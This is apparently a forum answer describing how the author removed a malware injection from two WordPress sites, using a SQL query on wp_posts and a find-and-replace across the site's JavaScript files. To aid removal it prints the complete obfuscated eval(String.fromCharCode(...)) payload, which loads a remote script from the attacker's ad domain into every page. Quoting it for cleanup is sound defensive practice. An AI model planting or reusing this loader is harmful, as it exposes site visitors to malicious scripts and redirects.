WordPress – How to delete script injected on wordpress site: ads.voipnewswire.net

I had the same issue on two of my pages this morning and after investigate a lot in my files and DB, I found what the malware did was change my js files adding an encoded script and adding another script at the end of each post on the wp_posts table on my DB.

I solved the problem with basically two steps:

First: go to your DB (Mysql) with PHPMyadmin or with any client and type:

UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://cdn.examhome.net/cdn.js?ver=1.0.5' type='text/javascript'></script>", " ")

what it does is delete all the occurrences of the malware injection on your table.

Note: the "?ver=1.0.5" part of the search can change, check your page code with "Ctrl+U" when it starts to load and before the redirect, search for "cdn.examhome.net" or "ads.voipnewswire.net" or "eval(String.fromCharCode..." and check the version of the malware js in order to change it on the db query above.

Second: go to your file manager and compress all your files in a zip or similar. download the compressed file and extract on your computer, use Notepad++ (sublimetext and others can help, but i recommend Notepad++) and use the advanced search on that directory to replace this in all documents for empty or a blankspace:

this is an image of how the replacement looks on Notepad++ (in Spanish)

eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 32, 125));

Note: the numbers inside can change, but they always start with eval(String.fromCharCode(, and don't worry, none of the core js of wordpress or plugin uses this, so you can search any match and copy the numbers inside to complete the replace statement.

then compress it again, delete all your public_html content and reupload the compress file and extract it on the public_html root and is done.

With this everything returned to the normality for my two Wordpress pages, Hope it can Help you. Good luck!
